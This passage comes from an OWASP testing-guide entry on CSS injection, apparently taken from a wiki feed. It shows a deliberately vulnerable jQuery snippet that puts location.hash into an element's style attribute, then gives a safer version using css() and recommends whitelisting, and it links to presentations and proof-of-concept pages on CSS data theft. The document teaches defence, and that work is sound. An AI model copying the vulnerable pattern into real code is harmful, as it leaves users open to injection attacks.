Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs. &amp;lt;br /&amp;gt;&lt;br /&gt;
Here follows a basic example: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;a1&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt; &lt;br /&gt;
&amp;lt;b&amp;gt;Hi&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  $(&amp;quot;a&amp;quot;).click(function(){ &lt;br /&gt;
    $(&amp;quot;b&amp;quot;).attr(&amp;quot;style&amp;quot;,&amp;quot;color: &amp;quot; + location.hash.slice(1)); &lt;br /&gt;
  }); &lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The above code contains a source &amp;quot;location.hash&amp;quot; that is controlled by the attacker that can inject directly in the attribute &amp;quot;style&amp;quot; of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload. &amp;lt;br /&amp;gt;&lt;br /&gt;
We recommend to use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. &amp;lt;br /&amp;gt;&lt;br /&gt;
In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;a id=&amp;quot;a1&amp;quot;&amp;gt;Click me&amp;lt;/a&amp;gt; &lt;br /&gt;
&amp;lt;b&amp;gt;Hi&amp;lt;/b&amp;gt; &lt;br /&gt;
&amp;lt;script&amp;gt; &lt;br /&gt;
  $(&amp;quot;a&amp;quot;).click(function(){ &lt;br /&gt;
    $(&amp;quot;b&amp;quot;).css(&amp;quot;color&amp;quot;,location.hash.slice(1)); &lt;br /&gt;
  }); &lt;br /&gt;
&amp;lt;/script&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[DOM based XSS Prevention Cheat Sheet]]&lt;br /&gt;
* DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/CssText &lt;br /&gt;
&lt;br /&gt;
'''Presentations'''&amp;lt;br&amp;gt;&lt;br /&gt;
* DOM Xss Identification and Exploitation, Stefano Di Paola - http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf &lt;br /&gt;
* Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA &lt;br /&gt;
* Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx&lt;br /&gt;
&lt;br /&gt;
'''Proof of Concepts'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Password &amp;quot;cracker&amp;quot; via CSS and HTML5 - http://html5sec.org/invalid/?length=25 &lt;br /&gt;
* CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/&lt;/div&gt;</summary>
		<author><name>Mauro Gentile</name></author>	</entry>

	</feed>